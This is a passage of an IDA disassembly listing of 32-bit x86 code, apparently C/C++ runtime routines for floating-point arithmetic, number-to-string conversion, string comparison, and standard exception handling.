cmp edi, ecx
jnz short loc_425CF6
mov eax, dword_43D4C0
mov ecx, dword_43D4C4
add ecx, eax
cmp eax, ecx
jge short loc_425CFD
lea edx, [eax+eax*2]
sub ecx, eax
lea edx, ds:43D450h[edx*4]
loc_425CEB: ; CODE XREF: sub_425C06+ECj
and dword ptr [edx], 0
add edx, 0Ch
dec ecx
jnz short loc_425CEB
jmp short loc_425CFD
; ---------------------------------------------------------------------------
loc_425CF6: ; CODE XREF: sub_425C06+AAj
; sub_425C06+C6j
and dword ptr [eax], 0
cmp edi, ecx
jnz short loc_425D0B
loc_425CFD: ; CODE XREF: sub_425C06+D7j
; sub_425C06+EEj
push dword_43D4CC
push 8
call esi
pop ecx
pop ecx
jmp short loc_425D19
; ---------------------------------------------------------------------------
loc_425D0B: ; CODE XREF: sub_425C06+F5j
push edi
call esi
cmp edi, 0Bh
pop ecx
jz short loc_425D19
cmp edi, 4
jnz short loc_425D2C
loc_425D19: ; CODE XREF: sub_425C06+103j
; sub_425C06+10Cj
cmp edi, 8
mov dword_4DBE9C, ebx
jnz short loc_425D2C
mov eax, [ebp+arg_0]
mov dword_43D4CC, eax
loc_425D2C: ; CODE XREF: sub_425C06+111j
; sub_425C06+11Cj
xor eax, eax
pop ebx
loc_425D2F: ; CODE XREF: sub_425C06+2Cj
; sub_425C06+79j
pop edi
pop esi
pop ebp
retn
sub_425C06 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_425D33 proc near ; CODE XREF: sub_425C06+59p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43D4C8
cmp dword_43D44C, edx
push esi
mov eax, offset dword_43D448
jz short loc_425D61
lea esi, [ecx+ecx*2]
lea esi, ds:43D448h[esi*4]
loc_425D55: ; CODE XREF: sub_425D33+2Cj
add eax, 0Ch
cmp eax, esi
jnb short loc_425D61
cmp [eax+4], edx
jnz short loc_425D55
loc_425D61: ; CODE XREF: sub_425D33+16j
; sub_425D33+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43D448h[ecx*4]
cmp eax, ecx
jnb short loc_425D75
cmp [eax+4], edx
jz short locret_425D77
loc_425D75: ; CODE XREF: sub_425D33+3Bj
xor eax, eax
locret_425D77: ; CODE XREF: sub_425D33+40j
retn
sub_425D33 endp
; =============== S U B R O U T I N E =======================================
sub_425D78 proc near ; CODE XREF: sub_4251BB+8Bp
; sub_4251BB+D9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_4DD140
jnb short loc_425DDF
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DD040[ecx*4]
lea edx, [ecx+eax*8+4]
mov cl, [ecx+eax*8+4]
test cl, 1
jz short loc_425DDF
mov al, cl
mov esi, 8000h
and eax, 80h
cmp [esp+4+arg_4], esi
jnz short loc_425DB8
and cl, 7Fh
jmp short loc_425DC5
; ---------------------------------------------------------------------------
loc_425DB8: ; CODE XREF: sub_425D78+39j
cmp [esp+4+arg_4], 4000h
jnz short loc_425DD3
or cl, 80h
loc_425DC5: ; CODE XREF: sub_425D78+3Ej
neg eax
sbb eax, eax
mov [edx], cl
and ax, 0C000h
add eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_425DD3: ; CODE XREF: sub_425D78+48j
mov dword_4DBDDC, 16h
jmp short loc_425DE9
; ---------------------------------------------------------------------------
loc_425DDF: ; CODE XREF: sub_425D78+Bj
; sub_425D78+27j
mov dword_4DBDDC, 9
loc_425DE9: ; CODE XREF: sub_425D78+65j
or eax, 0FFFFFFFFh
pop esi
retn
sub_425D78 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425DEE proc near ; CODE XREF: sub_425973+165p
; sub_42600E+69p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov cx, [ebx+0Ah]
xor eax, eax
push edi
mov [ebp+var_14], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_1C], eax
mov ax, [esi+0Ah]
mov edi, ecx
mov edx, 7FFFh
xor edi, eax
and eax, edx
and ecx, edx
and edi, 8000h
cmp ax, 7FFFh
lea edx, [ecx+eax]
mov [ebp+arg_0], edx
jnb loc_425FEE
cmp cx, 7FFFh
jnb loc_425FEE
cmp dx, 0BFFDh
ja loc_425FEE
cmp dx, 3FBFh
ja short loc_425E57
xor eax, eax
jmp short loc_425E91
; ---------------------------------------------------------------------------
loc_425E57: ; CODE XREF: sub_425DEE+63j
test ax, ax
mov edx, 7FFFFFFFh
jnz short loc_425E79
inc [ebp+arg_0]
test [esi+8], edx
jnz short loc_425E79
xor eax, eax
cmp [esi+4], eax
jnz short loc_425E7B
cmp [esi], eax
jnz short loc_425E7B
jmp loc_425FE8
; ---------------------------------------------------------------------------
loc_425E79: ; CODE XREF: sub_425DEE+71j
; sub_425DEE+79j
xor eax, eax
loc_425E7B: ; CODE XREF: sub_425DEE+80j
; sub_425DEE+84j
cmp cx, ax
jnz short loc_425E9E
inc [ebp+arg_0]
test [ebx+8], edx
jnz short loc_425E9E
cmp [ebx+4], eax
jnz short loc_425E9E
cmp [ebx], eax
jnz short loc_425E9E
loc_425E91: ; CODE XREF: sub_425DEE+67j
mov [esi+8], eax
mov [esi+4], eax
mov [esi], eax
jmp loc_426009
; ---------------------------------------------------------------------------
loc_425E9E: ; CODE XREF: sub_425DEE+90j
; sub_425DEE+98j ...
mov [ebp+var_10], eax
lea eax, [ebp+var_20]
mov [ebp+var_4], eax
mov [ebp+arg_4], 5
loc_425EAE: ; CODE XREF: sub_425DEE+122j
mov eax, [ebp+var_10]
add eax, eax
cmp [ebp+arg_4], 0
jle short loc_425F02
add eax, esi
lea ecx, [ebx+8]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C], ecx
mov [ebp+var_18], eax
loc_425ECA: ; CODE XREF: sub_425DEE+112j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
movzx eax, word ptr [eax]
movzx ecx, word ptr [ecx]
imul eax, ecx
mov ecx, [ebp+var_4]
add ecx, 0FFFFFFFCh
push ecx
push eax
push dword ptr [ecx]
call sub_425301
add esp, 0Ch
test eax, eax
jz short loc_425EF5
mov eax, [ebp+var_4]
inc word ptr [eax]
loc_425EF5: ; CODE XREF: sub_425DEE+FFj
add [ebp+var_8], 2
sub [ebp+var_C], 2
dec [ebp+var_18]
jnz short loc_425ECA
loc_425F02: ; CODE XREF: sub_425DEE+C9j
add [ebp+var_4], 2
inc [ebp+var_10]
dec [ebp+arg_4]
cmp [ebp+arg_4], 0
jg short loc_425EAE
add [ebp+arg_0], 0C002h
cmp word ptr [ebp+arg_0], 0
jle short loc_425F45
loc_425F20: ; CODE XREF: sub_425DEE+14Ej
test byte ptr [ebp+var_1C+3], 80h
jnz short loc_425F3E
lea eax, [ebp+var_24]
push eax
call sub_425380
add [ebp+arg_0], 0FFFFh
pop ecx
cmp word ptr [ebp+arg_0], 0
jg short loc_425F20
loc_425F3E: ; CODE XREF: sub_425DEE+136j
cmp word ptr [ebp+arg_0], 0
jg short loc_425F7E
loc_425F45: ; CODE XREF: sub_425DEE+130j
add [ebp+arg_0], 0FFFFh
cmp word ptr [ebp+arg_0], 0
jge short loc_425F7E
movsx eax, word ptr [ebp+arg_0]
neg eax
add [ebp+arg_0], eax
mov ebx, eax
loc_425F5E: ; CODE XREF: sub_425DEE+184j
test byte ptr [ebp+var_24], 1
jz short loc_425F67
inc [ebp+var_14]
loc_425F67: ; CODE XREF: sub_425DEE+174j
lea eax, [ebp+var_24]
push eax
call sub_4253AE
dec ebx
pop ecx
jnz short loc_425F5E
cmp [ebp+var_14], 0
jz short loc_425F7E
or byte ptr [ebp+var_24], 1
loc_425F7E: ; CODE XREF: sub_425DEE+155j
; sub_425DEE+163j ...
cmp word ptr [ebp+var_24], 8000h
ja short loc_425F95
mov eax, [ebp+var_24]
and eax, 1FFFFh
cmp eax, 18000h
jnz short loc_425FCA
loc_425F95: ; CODE XREF: sub_425DEE+196j
cmp [ebp+var_24+2], 0FFFFFFFFh
jnz short loc_425FC7
and [ebp+var_24+2], 0
cmp [ebp+var_20+2], 0FFFFFFFFh
jnz short loc_425FC2
and [ebp+var_20+2], 0
cmp word ptr [ebp+var_1C+2], 0FFFFh
jnz short loc_425FBC
inc [ebp+arg_0]
mov word ptr [ebp+var_1C+2], 8000h
jmp short loc_425FCA
; ---------------------------------------------------------------------------
loc_425FBC: ; CODE XREF: sub_425DEE+1C1j
inc word ptr [ebp+var_1C+2]
jmp short loc_425FCA
; ---------------------------------------------------------------------------
loc_425FC2: ; CODE XREF: sub_425DEE+1B5j
inc [ebp+var_20+2]
jmp short loc_425FCA
; ---------------------------------------------------------------------------
loc_425FC7: ; CODE XREF: sub_425DEE+1ABj
inc [ebp+var_24+2]
loc_425FCA: ; CODE XREF: sub_425DEE+1A5j
; sub_425DEE+1CCj ...
mov eax, [ebp+arg_0]
cmp ax, 7FFFh
jnb short loc_425FEE
mov cx, word ptr [ebp+var_24+2]
or eax, edi
mov [esi], cx
mov ecx, [ebp+var_20]
mov [esi+2], ecx
mov ecx, [ebp+var_1C]
mov [esi+6], ecx
loc_425FE8: ; CODE XREF: sub_425DEE+86j
mov [esi+0Ah], ax
jmp short loc_426009
; ---------------------------------------------------------------------------
loc_425FEE: ; CODE XREF: sub_425DEE+42j
; sub_425DEE+4Dj ...
neg di
sbb edi, edi
and dword ptr [esi+4], 0
and edi, 80000000h
add edi, 7FFF8000h
and dword ptr [esi], 0
mov [esi+8], edi
loc_426009: ; CODE XREF: sub_425DEE+ABj
; sub_425DEE+1FEj
pop edi
pop esi
pop ebx
leave
retn
sub_425DEE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42600E proc near ; CODE XREF: sub_4254A2+440p
; sub_425973+14Cp
var_C = byte ptr -0Ch
var_A = dword ptr -0Ah
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, offset dword_43D828
xor ecx, ecx
sub ebx, 60h
cmp [ebp+arg_4], ecx
jz short loc_426087
jge short loc_426036
mov eax, [ebp+arg_4]
mov ebx, offset dword_43D988
neg eax
mov [ebp+arg_4], eax
sub ebx, 60h
loc_426036: ; CODE XREF: sub_42600E+16j
cmp [ebp+arg_8], ecx
jnz short loc_426041
mov eax, [ebp+arg_0]
mov [eax], cx
loc_426041: ; CODE XREF: sub_42600E+2Bj
cmp [ebp+arg_4], ecx
jz short loc_426087
push esi
push edi
loc_426048: ; CODE XREF: sub_42600E+75j
mov eax, [ebp+arg_4]
add ebx, 54h
sar [ebp+arg_4], 3
and eax, 7
cmp eax, ecx
jz short loc_426080
lea eax, [eax+eax*2]
cmp word ptr [ebx+eax*4], 8000h
lea esi, [ebx+eax*4]
jb short loc_426073
lea edi, [ebp+var_C]
movsd
movsd
movsd
dec [ebp+var_A]
lea esi, [ebp+var_C]
loc_426073: ; CODE XREF: sub_42600E+57j
push esi
push [ebp+arg_0]
call sub_425DEE
pop ecx
pop ecx
xor ecx, ecx
loc_426080: ; CODE XREF: sub_42600E+49j
cmp [ebp+arg_4], ecx
jnz short loc_426048
pop edi
pop esi
loc_426087: ; CODE XREF: sub_42600E+14j
; sub_42600E+36j
pop ebx
leave
retn
sub_42600E endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_426090 proc near ; CODE XREF: sub_426173+19p
; sub_42629A+19p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call sub_41B9C0
pop ecx
push eax
push [esp+8+arg_0]
mov ecx, esi
call sub_40D9B3
mov eax, esi
pop esi
retn 8
sub_426090 endp
; =============== S U B R O U T I N E =======================================
sub_4260BA proc near ; CODE XREF: ___:004260E5p
; sub_426168+6j ...
push esi
mov esi, ecx
push 1
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427C90
call sub_40D977
mov ecx, esi
pop esi
jmp sub_426564
sub_4260BA endp
; =============== S U B R O U T I N E =======================================
sub_4260D5 proc near ; DATA XREF: ___:00427C94o
; ___:00427CA4o ...
mov eax, [ecx+10h]
test eax, eax
jnz short locret_4260E1
mov eax, offset dword_427688
locret_4260E1: ; CODE XREF: sub_4260D5+5j
retn
sub_4260D5 endp
; ---------------------------------------------------------------------------
loc_4260E2: ; DATA XREF: ___:off_427C90o
push esi
mov esi, ecx
call sub_4260BA
test byte ptr [esp+8], 1
jz short loc_4260F8
push esi
call sub_41D65F
pop ecx
loc_4260F8: ; CODE XREF: ___:004260EFj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_4260FE proc near ; CODE XREF: sub_426173+29p
mov eax, offset loc_426AE2
call sub_41D640
push ecx
push ecx
push esi
lea eax, [ebp-10h]
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset dword_427CAC
call sub_4264DD
push dword ptr [ebp+8]
and dword ptr [ebp-4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427C90
call sub_4261B0
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_427CA0
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4260FE endp
; =============== S U B R O U T I N E =======================================
sub_42614C proc near ; DATA XREF: ___:off_427CA0o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_426168
test [esp+4+arg_0], 1
jz short loc_426162
push esi
call sub_41D65F
pop ecx
loc_426162: ; CODE XREF: sub_42614C+Dj
mov eax, esi
pop esi
retn 4
sub_42614C endp
; =============== S U B R O U T I N E =======================================
sub_426168 proc near ; CODE XREF: sub_42614C+3p
; DATA XREF: ___:00428014o
mov dword ptr [ecx], offset off_427CA0
jmp sub_4260BA
sub_426168 endp
; =============== S U B R O U T I N E =======================================
sub_426173 proc near ; CODE XREF: sub_40D824+13p
; sub_40D9E8+Ep
mov eax, offset loc_426AF4
call sub_41D640
sub esp, 30h
lea eax, [ebp-0Dh]
push eax
push offset aInvalidStringP ; "invalid string position"
lea ecx, [ebp-20h]
call sub_426090
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_4260FE
push offset dword_428010
lea eax, [ebp-3Ch]
push eax
call sub_426587
int 3 ; Trap to Debugger
sub_426173 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4261B0 proc near ; CODE XREF: sub_4260FE+32p
; sub_4261D0+32p ...
arg_0 = dword ptr 4
push esi
xor eax, eax
push 0FFFFFFFFh
mov esi, ecx
push eax
push [esp+0Ch+arg_0]
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call sub_40D824
mov eax, esi
pop esi
retn 4
sub_4261B0 endp
; =============== S U B R O U T I N E =======================================
sub_4261D0 proc near ; CODE XREF: sub_42629A+29p
mov eax, offset loc_426B06
call sub_41D640
push ecx
push ecx
push esi
lea eax, [ebp-10h]
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset dword_427CAC
call sub_4264DD
push dword ptr [ebp+8]
and dword ptr [ebp-4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427C90
call sub_4261B0
mov ecx, [ebp-0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4261D0 endp
; =============== S U B R O U T I N E =======================================
sub_426218 proc near ; CODE XREF: sub_426282+7p
; sub_4262DE+7p ...
mov eax, offset loc_426B18
call sub_41D640
push ecx
push esi
push edi
mov edi, [ebp+8]
mov esi, ecx
push edi
mov [ebp-10h], esi
call sub_42651A
and dword ptr [ebp-4], 0
add edi, 0Ch
push edi
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427C90
call sub_4261B0
mov ecx, [ebp-0Ch]
pop edi
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_426218 endp
; =============== S U B R O U T I N E =======================================
sub_42625B proc near ; DATA XREF: ___:off_427CCCo
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_426277
test [esp+4+arg_0], 1
jz short loc_426271
push esi
call sub_41D65F
pop ecx
loc_426271: ; CODE XREF: sub_42625B+Dj
mov eax, esi
pop esi
retn 4
sub_42625B endp
; =============== S U B R O U T I N E =======================================
sub_426277 proc near ; CODE XREF: sub_42625B+3p
; DATA XREF: ___:004280BCo
mov dword ptr [ecx], offset off_427CCC
jmp sub_4260BA
sub_426277 endp
; =============== S U B R O U T I N E =======================================
sub_426282 proc near ; CODE XREF: sub_4262F6+46p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_426218
mov dword ptr [esi], offset off_427CA0
mov eax, esi
pop esi
retn 4
sub_426282 endp
; =============== S U B R O U T I N E =======================================
sub_42629A proc near ; CODE XREF: sub_40D774+15p
; sub_40D7CD+15p ...
mov eax, offset loc_426B2A
call sub_41D640
sub esp, 30h
lea eax, [ebp-0Dh]
push eax
push offset aStringTooLong ; "string too long"
lea ecx, [ebp-20h]
call sub_426090
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_4261D0
push offset dword_4280B8
lea eax, [ebp-3Ch]
push eax
mov dword ptr [ebp-3Ch], offset off_427CCC
call sub_426587
int 3 ; Trap to Debugger
sub_42629A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4262DE proc near ; CODE XREF: sub_4262F6+28p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_426218
mov dword ptr [esi], offset off_427CCC
mov eax, esi
pop esi
retn 4
sub_4262DE endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4262F6 proc near ; DATA XREF: ___:00427C98o
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_426218
push offset dword_4280F8
lea eax, [ebp+var_1C]
push eax
call sub_426587
int 3 ; Trap to Debugger
loc_426314: ; DATA XREF: ___:00427CD4o
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_4262DE
push offset dword_4280B8
lea eax, [ebp+var_1C]
push eax
call sub_426587
int 3 ; Trap to Debugger
loc_426332: ; DATA XREF: ___:00427CA8o
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_426282
push offset dword_428010
lea eax, [ebp+var_1C]
push eax
call sub_426587
int 3 ; Trap to Debugger
sub_4262F6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_426350 proc near ; CODE XREF: sub_40D104+5Ep
; ___:00415771p ...
nop
jmp near ptr 71AB1B7Bh
sub_426350 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_426356 proc near ; CODE XREF: sub_41D2AC+23p
; sub_41D550+13p
jmp near ptr 28B0000h
sub_426356 endp
; ---------------------------------------------------------------------------
db 79h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42635C proc near ; CODE XREF: ___:0040B091p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0Ah
jnz short loc_426371
cmp [ebp+arg_0], 0
jge short loc_426371
push 1
push 0Ah
jmp short loc_426376
; ---------------------------------------------------------------------------
loc_426371: ; CODE XREF: sub_42635C+7j
; sub_42635C+Dj
push 0
push [ebp+arg_8]
loc_426376: ; CODE XREF: sub_42635C+13j
push [ebp+arg_4]
push [ebp+arg_0]
call sub_426389
mov eax, [ebp+arg_4]
add esp, 10h
pop ebp
retn
sub_42635C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426389 proc near ; CODE XREF: sub_42635C+20p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp [ebp+arg_C], 0
mov ecx, [ebp+arg_4]
push ebx
push esi
push edi
jz short loc_4263A3
mov esi, [ebp+arg_0]
mov byte ptr [ecx], 2Dh
inc ecx
neg esi
jmp short loc_4263A6
; ---------------------------------------------------------------------------
loc_4263A3: ; CODE XREF: sub_426389+Dj
mov esi, [ebp+arg_0]
loc_4263A6: ; CODE XREF: sub_426389+18j
mov edi, ecx
loc_4263A8: ; CODE XREF: sub_426389+43j
mov eax, esi
xor edx, edx
div [ebp+arg_8]
mov eax, esi
mov ebx, edx
xor edx, edx
div [ebp+arg_8]
cmp ebx, 9
mov esi, eax
jbe short loc_4263C4
add bl, 57h
jmp short loc_4263C7
; ---------------------------------------------------------------------------
loc_4263C4: ; CODE XREF: sub_426389+34j
add bl, 30h
loc_4263C7: ; CODE XREF: sub_426389+39j
mov [ecx], bl
inc ecx
test esi, esi
ja short loc_4263A8
and byte ptr [ecx], 0
dec ecx
loc_4263D2: ; CODE XREF: sub_426389+55j
mov dl, [edi]
mov al, [ecx]
mov [ecx], dl
mov [edi], al
dec ecx
inc edi
cmp edi, ecx
jb short loc_4263D2
pop edi
pop esi
pop ebx
pop ebp
retn
sub_426389 endp
; =============== S U B R O U T I N E =======================================
sub_4263E5 proc near ; CODE XREF: sub_41761C+E2p
; sub_41761C+F9p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp dword_4DBE84, 0
push ebx
jnz short loc_42642B
mov edx, [esp+4+arg_4]
mov ecx, [esp+4+arg_0]
loc_4263F7: ; CODE XREF: sub_4263E5+42j
mov bx, [ecx]
cmp bx, 5Ah
ja short loc_426409
cmp bx, 41h
jb short loc_426409
add ebx, 20h
loc_426409: ; CODE XREF: sub_4263E5+19j
; sub_4263E5+1Fj
mov ax, [edx]
cmp ax, 5Ah
ja short loc_42641B
cmp ax, 41h
jb short loc_42641B
add eax, 20h
loc_42641B: ; CODE XREF: sub_4263E5+2Bj
; sub_4263E5+31j
inc ecx
inc ecx
inc edx
inc edx
test bx, bx
jz short loc_42645B
cmp bx, ax
jz short loc_4263F7
jmp short loc_42645B
; ---------------------------------------------------------------------------
loc_42642B: ; CODE XREF: sub_4263E5+8j
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, [esp+0Ch+arg_4]
loc_426435: ; CODE XREF: sub_4263E5+72j
mov ax, [esi]
inc esi
push eax
inc esi
call sub_4265C1
mov ebx, eax
mov ax, [edi]
inc edi
push eax
inc edi
call sub_4265C1
pop ecx
test bx, bx
pop ecx
jz short loc_426459
cmp bx, ax
jz short loc_426435
loc_426459: ; CODE XREF: sub_4263E5+6Dj
pop edi
pop esi
loc_42645B: ; CODE XREF: sub_4263E5+3Dj
; sub_4263E5+44j
movzx ecx, ax
movzx eax, bx
sub eax, ecx
pop ebx
retn
sub_4263E5 endp
; =============== S U B R O U T I N E =======================================
sub_426465 proc near ; CODE XREF: sub_41843B+21p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_42648C
push esi
call sub_41B9C0
inc eax
push eax
call sub_41BEB5
pop ecx
test eax, eax
pop ecx
jz short loc_42648C
push esi
push eax
call sub_41C890
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_42648C: ; CODE XREF: sub_426465+7j
; sub_426465+1Aj
xor eax, eax
pop esi
retn
sub_426465 endp
; =============== S U B R O U T I N E =======================================
sub_426490 proc near ; CODE XREF: ___:004264A8p
mov dword ptr [ecx], offset off_427CEC
mov ecx, [ecx+4]
test ecx, ecx
jz short locret_4264A4
push ecx
call sub_41BA91
pop ecx
locret_4264A4: ; CODE XREF: sub_426490+Bj
retn
sub_426490 endp
; ---------------------------------------------------------------------------
loc_4264A5: ; DATA XREF: ___:off_427CECo
push esi
mov esi, ecx
call sub_426490
test byte ptr [esp+8], 1
jz short loc_4264BB
push esi
call sub_41D65F
pop ecx
loc_4264BB: ; CODE XREF: ___:004264B2j
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_4264C1: ; DATA XREF: ___:off_427CF4o
push esi
mov esi, ecx
call sub_426564
test byte ptr [esp+8], 1
jz short loc_4264D7
push esi
call sub_41D65F
pop ecx
loc_4264D7: ; CODE XREF: ___:004264CEj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_4264DD proc near ; CODE XREF: sub_4260FE+1Dp
; sub_4261D0+1Dp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_427CF4
push dword ptr [edi]
call sub_41B9C0
inc eax
push eax
call sub_41D9A5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_42650C
push dword ptr [edi]
push eax
call sub_41C890
pop ecx
pop ecx
loc_42650C: ; CODE XREF: sub_4264DD+23j
mov dword ptr [esi+8], 1
mov eax, esi
pop edi
pop esi
retn 4
sub_4264DD endp
; =============== S U B R O U T I N E =======================================
sub_42651A proc near ; CODE XREF: sub_426218+16p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_427CF4
mov eax, [edi+8]
test eax, eax
mov [esi+8], eax
jz short loc_426557
push dword ptr [edi+4]
call sub_41B9C0
inc eax
push eax
call sub_41D9A5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_42655D
push dword ptr [edi+4]
push eax
call sub_41C890
pop ecx
pop ecx
jmp short loc_42655D
; ---------------------------------------------------------------------------
loc_426557: ; CODE XREF: sub_42651A+16j
mov eax, [edi+4]
mov [esi+4], eax
loc_42655D: ; CODE XREF: sub_42651A+2Ej
; sub_42651A+3Bj
mov eax, esi
pop edi
pop esi
retn 4
sub_42651A endp
; =============== S U B R O U T I N E =======================================
sub_426564 proc near ; CODE XREF: sub_4260BA+16j
; ___:004264C4p ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_427CF4
jz short locret_426579
push dword ptr [ecx+4]
call sub_41D65F
pop ecx
locret_426579: ; CODE XREF: sub_426564+Aj
retn
sub_426564 endp
; =============== S U B R O U T I N E =======================================
sub_42657A proc near ; DATA XREF: ___:00427CF8o
mov eax, [ecx+4]
test eax, eax
jnz short locret_426586
mov eax, offset aUnknownExcepti ; "Unknown exception"
locret_426586: ; CODE XREF: sub_42657A+5j
retn
sub_42657A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426587 proc near ; CODE XREF: sub_426173+37p
; sub_42629A+3Ep ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push edi
push 8
pop ecx
mov esi, offset dword_427D10
lea edi, [ebp+var_20]
rep movsd
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
lea eax, [ebp+var_C]
push eax
push [ebp+var_10]
push [ebp+var_1C]
push [ebp+var_20]
nop
call near ptr 2680419h
pop edi
pop esi
leave
retn 8
sub_426587 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4265C1 proc near ; CODE XREF: sub_4263E5+56p
; sub_4263E5+63p
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp ax, 0FFFFh
jnz short loc_4265D3
or ax, ax
leave
retn
; ---------------------------------------------------------------------------
loc_4265D3: ; CODE XREF: sub_4265C1+Bj
cmp dword_4DBE84, 0
jnz short loc_4265ED
cmp ax, 41h
jb short locret_426634
cmp ax, 5Ah
ja short locret_426634
add eax, 20h
leave
retn
; ---------------------------------------------------------------------------
loc_4265ED: ; CODE XREF: sub_4265C1+19j
cmp ax, 100h
jnb short loc_426607
push 1
push eax
call sub_42686F
pop ecx
test eax, eax
pop ecx
jnz short loc_426607
mov ax, word ptr [ebp+arg_0]
leave
retn
; ---------------------------------------------------------------------------
loc_426607: ; CODE XREF: sub_4265C1+30j
; sub_4265C1+3Ej
push 0
lea eax, [ebp+var_2]
push 1
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 100h
push dword_4DBE84
call sub_426636
add esp, 1Ch
test eax, eax
mov ax, word ptr [ebp+arg_0]
jz short locret_426634
mov ax, [ebp+var_2]
locret_426634: ; CODE XREF: sub_4265C1+1Fj
; sub_4265C1+25j ...
leave
retn
sub_4265C1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426636 proc near ; CODE XREF: sub_4265C1+5Fp
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
